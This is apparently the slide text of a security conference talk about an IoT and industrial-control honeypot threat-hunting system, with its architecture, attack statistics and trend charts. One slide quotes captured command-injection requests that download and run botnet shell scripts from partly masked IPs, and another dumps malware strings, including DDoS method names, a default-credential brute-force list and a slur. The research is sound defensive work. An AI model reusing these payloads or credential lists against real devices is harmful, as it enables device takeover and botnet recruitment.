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Who are we?

A joint venture company of 

30 years+ Cybersecurity Threat Intelligence

30 years+ OT Network Expertise

Keep the Operation Running

Threat 
Defense 

Expertise

Industry 
Adaptive 
Solution

OT-Focused 
Technology

Trend Micro Inc. and Moxa Inc.
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Who are we?

x

Mars Cheng

• Spoke at Black Hat, HITB, HITCON, SecTor, ICS
Cyber Security Conference, InfoSec Taiwan and etc.

• Instructor of Ministry of National Defense, Ministry 
of Education, Ministry of Economic Affairs and etc.

• General Coordinator of HITCON 2021
• Vice General Coordinator of HITCON 2020

Threat Researcher at TXOne Networks

Patrick Kuo

Threat Researcher at TXOne Networks

• Developer for building automatically threat 
analyzing process.

• Developer for designing threat hunting engine and 
threat hunting system.

• Researcher for malicious payloads, malwares and 
threats.
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Outline

• The Anatomy of Our Threat Hunting System

• In-Depth Analysis of Our IoT-ICS Intelligence

• The Next Step for Our Next Generation IIoT Threat-Hunting 
System 
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Introduction
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Why Perform Automated Threat Hunting?

https://www.darkreading.com/iot/ddos-attack-trends-reveal-stronger-
shift-to-iot-mobile/d/d-id/1337318?_mc=rss_x_drr_edt_aud_dr_x_x-rss-
simple

https://thehackernews.com/2020/04/darknexus-iot-ddos-botnet.html

https://www.sdxcentral.com/articles/news/nokia-threat-report-
iot-malware-infections-surge-100/2020/10/

https://review42.com/internet-of-things-stats/

https://www.gartner.com/imagesrv/books/iot/iotEbook_digital.pdf

https://www.statista.com/statistics/1183457/iot-connected-devices-worldwide/

Number of Internet of Things (IoT) connected devices

https://thehackernews.com/2020/04/darknexus-iot-ddos-botnet.html
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The Benefits of Automated Threat Hunting

• Automatic detection and real-time blocking of various threats

• Instantly locate various threat trends

• Follow-up analysis of a large number of intelligence resources
by threat analysts

• The cost of human maintenance is extremely low
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The Anatomy of Our 
Threat Hunting System
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The Architecture of Our IoT-ICS Threat Hunting System 
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350+ Hunting Engines in the World
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1. Hunting Engines

Hunting Engines (IoT & OT)

Customized Conpot
(HTTP) and Cowire(SSH)

IoT hunting engine
(Telnet…, part of high

interaction)

Malware
hunting
engine

Traffic
Handler

Attack Traffic Hunting
Handler

Download
Malware/data
from attacker

Hunting 
Agents

1st stage, hunting all interaction with hunting engine

High interaction OT
hunting engine (S7…)

• Python based and compatible with Python 2.x/3.x
• Shell and C compiler
• Ubuntu 18.04 or CentOS 7
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Hunting
Handler

PCAP

Malware

FirewallHunting 
Agent

2. The Hunting Agent
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3. Malware Crawler and Session Crawler

AWS S3
PCAP

Malware

AWS ECS
Session Crawler

AWS S3

AWS ECS
Malware Crawler

Malware and PCAP
Forwarding
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4. Generate IoC to Block List

AWS S3

AWS EMR

AWS S3

Block List

Global Threat Atlas

Protection Service 

AWS EC2

IP&Domain
Mapping
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5. Malware Analyzer

Unknown Malware
Internal

Scan Engine

AWS S3

Malware

Known Malware

In-depth Analysis

Protection Service 

Initial Analyzer 
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5. Malware Analyzer
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6. Threat Intelligence based on Athena

• Here, the threat analyst manually hunts down the in-depth 
threat

AWS 
S3 AWS Athena Threat Intelligence In-depth Analysis
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7. One-Click Deployment/Re-Deployment

• This is a function set up to strengthen our automated process.

• This demo video is a time-lapse video. The complete 
deployment process takes about 1-2 hours.
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Highlights of the IoT-ICS Hunting System

Hunting Engine

Dynamic Adjustment 

In-Depth Analysis Payload Classification 

Construction Cost DecreasingOne-Click (Re-)Deployment
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In-Depth Analysis of 
Our IoT-ICS Threat 

Intelligence
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IoC Hunting as A Service 

Analyzed 20+TB Traffic

Detected 1.2 Billion
Attacks

Hunted 70+

Million
Malicious IPs

Hunted 15+

Million
Suspicious
Domains
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IoC Hunting as A Service 

Blocked 37+ M
Malicious IPs

Blocked 2.1+ M
Malicious
Domains

Found 1.4+ M
Possible Botnet

Devices

Found 2.6+ M
Malwares
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IoC Hunting as A Service 
Hunted Attack Count

Successfully Blocked IPs
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Global Botnet Analysis and Alert 

GET /cgi-
bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-
O%2012.SnOoPy.sh;curl%20-O%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-O%2011.SnOoPy.sh;%20chmod%20777%20*;%20sh%2011.SnOoPy.sh;%20sh%2012.SnOoPy.sh)&password=admin Hxxp/1.0\r\n\r\nGET /cgi-
bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-O%2012.SnOoPy.sh;curl%20-O%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-
O%2011.SnOoPy.sh;%20chmod%20777%20*;%20sh%2011.SnOoPy.sh;%20sh%2012.SnOoPy.sh Hxxp/1.0\r\n\r\n
root\r\nroot\r\ncd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://85.239.xxx.xxx/SnOoPy.sh; chmod 777 *; sh SnOoPy.sh; tftp -g 85.239.xxx.xxx -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c\r\n

GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}hxxp://116.75.xxx.xxx:41227/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m

GET /shell?cd%20%2Ftmp%3Bwget%20hxxp%3A%2F%2F192.3.xxx.xxx%2Finfect%3Bchmod%20777%20infect%3B.%2Finfect Hxxp/1.1\r\nHost: 139.59.xxx.xxx:5001\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, 
deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/5.0.15-1-pve\r\n\r\n

GET /cgi-
bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20hxxp://23.254.xxx.xxx/ttee.sh%20-
O%2012.ttee.sh;curl%20-O%20hxxp://23.254.xxx.xxx/ttee.sh%20-O%2011.ttee.sh;%20chmod%20777%20*;%20sh%2011.ttee.sh;%20sh%2012.ttee.sh)&password=admin Hxxp/1.0\r\n\r\nGET /cgi-
bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20hxxp://23.254.xxx.xxx/ttee.sh%20-O%2012.ttee.sh;curl%20-O%20hxxp://23.254.xxx.xxx/ttee.sh%20-
O%2011.ttee.sh;%20chmod%20777%20*;%20sh%2011.ttee.sh;%20sh%2012.ttee.sh Hxxp/1.0\r\n\r\n
POST /ctrlt/DeviceUpgrade_1 Hxxp/1.1\r\nHost: 68.183.xxx.xxx:37215\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.24.0\r\nContent-Length: 473\r\n\r\n<?xml 
version="1.0" ?>\n <s:Envelope xmlns:s="hxxp://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="hxxp://schemas.xmlsoap.org/soap/encoding/">\n <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-
org:service:WANPPPConnection:1">\n <NewStatusURL>$(/bin/busybox wget -g 185.172.xxx.xxx -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL>\n<NewDownloadURL>$(echo 
HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>

http://google.com/
http://google.com/
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Global Botnet Analysis and Alert 
Top 10 Countries with the Most Devices on Botnets

Top 10 attacked countries

Top 10 attack source countries
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Unknown Malware Playground 

VirusTotal Unknown Malware Count
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Unknown Malware Playground 

VirusTotal Malware Unknown Rate 
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Unknown Malware Playground 

Architecture Ratio

i386 65.01%

ARM 9.95%

MIPS 7.87%

PowerPC 2.53%

SH4 2.49%

Others 12.15%

18,000+ Unknown Malware
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Unknown Malware Playground 
sha256 Malware content

2fe1d79802e9beb75cdd34f9d15d8711ffcf11
5f2bc0bcd96034afd42fb5034b

\nTSource Engine Query\nUDPRAW\nSYNACK\nack,syn\nHEXBYPASS\nRHEX\nOVHRAPE\nSERVER\nNIGGA\n%d.%d.%d.%d\n8.8.8.8\n/proc/net/route\n 00000000 
\n/usr/bin/python\nsshd\n/usr/sbin/dropbear\narch %s\nmips\nnf1dk5a8eisr9i32\n-$.$,'*$1+ 1k52E\n"*6-e1-$1e&-,+ 6 e#$(,)<e$1e1- e*1- 7e1$') e607 e$1 e$)*1E\n6- ))E\n 
+$') E\n6<61 (E\nj',+j'06<'*=e\ne$55) 1e+*1e#*0+!E\n+&*77 &1E\nj',+j'06<'*=e56E\nj',+j'06<'*=e.,))eh|jE\nj57*&jE\nj = E\nj#!E\nj($56E\nj57*&j+ 1j1&5E\nt"&$'q!*(vp-+5w) 
,u/.#E\n )5 7E\nj! 3j2$1&-!*"E\nj! 3j(,6&j2$1&-!*"E\n$#/6!.#)w!+2$+!E\n(nil)\n(null)\nhlLjztqZ\nnpxXoudifFeEgGaACScs\n +0-#'I\n !"-
N.Y]Z\n#$%&'()*+,234567\n;<=>?@ABCDEFGJIMOPQRSTUVWX[\^_`abcxyz{|}~\nUnknown error \nSuccess\nOperation not permitted\nNo such file or directory\nNo such 
process\nInterrupted system call\nInput/output error\nNo such device or address\nArgument list too long\nExec format error\nBad file des

2fe1d79802e9beb75cdd34f9d15d8711ffcf11
5f2bc0bcd96034afd42fb5034b

F5 <\n@ !$\n@ !$\n74By\n<n4B\n74By\n@(!$\n$B~L\n`(!$\n`(!$\n`(!$\n`(!$\n@0!$\n@ !$\n$D~T\n$E~\\n$F~`\n@ !$\n@ !$\n@ !$\n@(!$\n$b~d\n@ 
!<\n`(!$\n@(!$\n`(!$\n`(!$\n`0!$\n@ !<\n@ !$\n@(!$\n`0!$\n`0!$\n@ !$\n@ !<\n@(!$\n`0!$\n@(!$\n@(!$\n (B'\n4BB@\n@ !$\n (B'\n@ !$\n (B'\n@ !$\n@ !$\n (B'\n@ !$\n 
(B'\n4BB@\n@ !$\n (B'\n@ !$\n@ !$\n@ !$\n@ !$\n@ !$\n@(!$\n@ !$\n`(!$\n@ !$\n@(!$\n`0!$\n`(!$\n@(!$\n@(!$\n !$\n`0!$\n 0!'\n !'9\n 0!$\n@ !'\nh!&R\nH!$J\n @$c\n 
8!$\nH#1)\nCH%<\n0!4J\nf(!$\n !$P\n@(!<\n@0!$\n`(!&F\nC0$,\n(!'9\n (!'9\n 0!'9\n 0!'9\nff4Jfg\n4cNm\n$B09\n (!$\n`(!$\n !$Q\n` !$\n` !$\n !%J\nF$ 2\nF" 2\nF" 
<\nF 2\nF& <\nF 0>\ndX!F \nF $D\nP!F(\nH(#)\n8!%)\n+0!(\n`(!$\n(!$c\n-4Lfg'\nd(#'\nCP%<\nP!1B\nLh#$\nCH%<\nF8!0b\nHX%%J\n !$D\n 2B \n !$\n 
!$B\nCH%<\nX'9V\n !'9V\n !'9Z\\nP(!(\n'9Z\\nMozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)\nMozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; 
Trident/5.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00\nMozilla/4.0 
(compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01\nMozilla/4.0 (compatible; MSIE 8.0; Windows 
NT 6.1; fr) Opera 11.00\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\nMozilla/5.0 (Windows NT 
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 
Firefox/45.0\nMozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4\nMozilla/5.0 
(Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0\nMozilla/5.0 (Windows NT 6.1; WOW64)

054559f8104d881b20e9a85ed9e08d8a0
4c7eefcc5cff8c2a54baa56b9d3d7b1

nsocket\nsendto\nlXfYC7TFaCq5Hv982wuIiKcHlgFA0jEsW2OFQStO7x6zN9dBgayyWgvbk0L3lZClzJCmFG3GVNDFc2iTHNYy7gss8dHboBdeKE1VcblH1AxrVyiqokw2RYFvd
4cd1QxyaHawwP6go9feBeHdlvMRDLbEbty3Py8yVT3UTjy3ZKONXmMNvURTUZTkeH37XT9H5JwH0vKB1Yw2rSYkTwcTvx6OltSIlahFg92uCRbLM8amh8GaGGGRw56iNUT
GLgi395vj9ZVVeP01k7Tvq3NRvxo########!!!!!!!!!!!!!!!@!@!@$!%@&$^!@%%^!@%*!(@%&*(!@%&!@*(%&!@()%*!@%))\ndayzddos.co runs you if you read this lol then 
you tcp dumped it because it hit you and you need to patch it lololololol\n2lc<2bcl&\n!-2b\n-!2b\n0!-0\n><27\n0!-20-0-!0!->\n2 3bc\n!-=6\nlm6l\nc "l-\ncm7"cm\n-
"cm\n"-!"c\n02`0\n"66m\na bc\nbla,7"c\n="cl\n-7cb\nmcb7<T\n&<556= wu1v50w(}')}}46<!s0--)ww*+27/+rs"6|1$!s|(6wr4r$p.+?(&#$/q}|r|t&(!2/#3 ,/| #(*, .6s*'t1} 
3,0)r?s#0-4t+.7s/+q5,4,64=($')q*&0w5/557./(r'#/-
v16t0)E\ny8rtyutvybt978b5tybvmx0e8ytnv58ytr57yrn56745t4twev4vt4te45yn57ne46e456be467mt6ur567d5r6e5n65nyur567nn55sner6rnut7nnt7yrt7r6nftynr567t
fynxyummimiugdrnyb\nHTTP\nHOLD\nJUNK\nHTTPHEX\nOVHKILL\nNFODROP\nSCANNER\nBLACKNURSE\nFLUX\nSTOP\nroot\nadmin\nguest\ndefault\nuser\ndaem
on\ntelnet\nAdministrator\nmg3500\nadmin1\nubnt\nsupport\npassword\nZte521\nvizxv\n000000\n14567\nhi3518\npass\nadmin14\n7ujMko0admin\n00000000\nkl
v1\nklv14\noelinux1\nrealtek\n1111\n54321\nantslq\nzte9x15\nsystem\n1456\n888888\nikwb\njuantech\nxc3511\n1111111\nservice\n4321\ntech\nabc1\nswitch\nmeinsm\n
smcadmin\n14567890\nanko\nmerlin\nzlxx.\nogin\nname\npass\ndvrdvs\nnvalid\nailed\nncorrect\nenied\nerror\ngoodbye\ntimeout\nshell\nusybox\nrror\noodbye\nb
usybox\

http://ndayzddos.co/
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1-Day/Unknown Vulnerability Hunting 
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1-Day/Unknown Vulnerability Hunting 

WEB Remote File Inclusion /etc/passwd
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1-Day/Unknown Vulnerability Hunting 

RDP Microsoft Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-0708) 



© 2021 TXOne Networks Inc.

1-Day/Unknown Vulnerability Hunting 
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Attack Trend Analysis as an Early Warning 
System 

SSH
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Attack Trend Analysis as an Early Warning 
System 

Telnet
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Attack Trend Analysis as an Early Warning 
System 

HTTP
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The Threat of Next Generation 
Siemens S7

MELSEC-Q
ORMON FINS

Ethernet/IP
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The Threat of Next Generation 
IEC 104

Modbus/TCP
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The Next Steps for
Our Next Generation 
IIoT Threat-Hunting 

System 
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The Next Steps for Our Next Generation IIoT 
Threat-Hunting System
• Bring the complete industry 4.0 environment into our hunting 

system either after it’s fully virtualized or via paravirtualization

Long-term perspectiveShort-term perspective
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The Next Step of Next Generation IIoT Threat-
Hunting System
• High Interaction Hunting Engine – Siemens S7 Demo
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The Next Step of Next Generation IIoT Threat-
Hunting System
• The next generation of our hunting engine will coexist with the existing 

IoT hunting engine, fully covering the scope of IIoT

• For attack traffic and malicious programs, we will conduct an in-depth 
study of the various applications of machine learning on traffic analysis 
and malware analysis, further advancing the degree of automated analysis
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Closing Remarks
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Closing Remarks

• An automated threat hunting system is an excellent tool for 
effectively hunting and suppressing the continuous expansion 
of IoT and IIoT threats

• These 6 examples of trends from our hunt are only a small part
of the resources available in the hunting system – there is still
more treasure waiting for us to discover

• The next generation of threats, IIoT threats, is coming, and
early preparation is the way to deal with it
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Closing Remarks

https://www.tr.txone-networks.com

Analyzed more 
than 
45TB of traffic

Detected 1.1 
billion attacks

Searched over 400 
million malicious 
IPs

Searched more than 
30 million malicious 
domains 

Analyzed more than 1 
million malicious files

https://www.tr.txone-networks.com/
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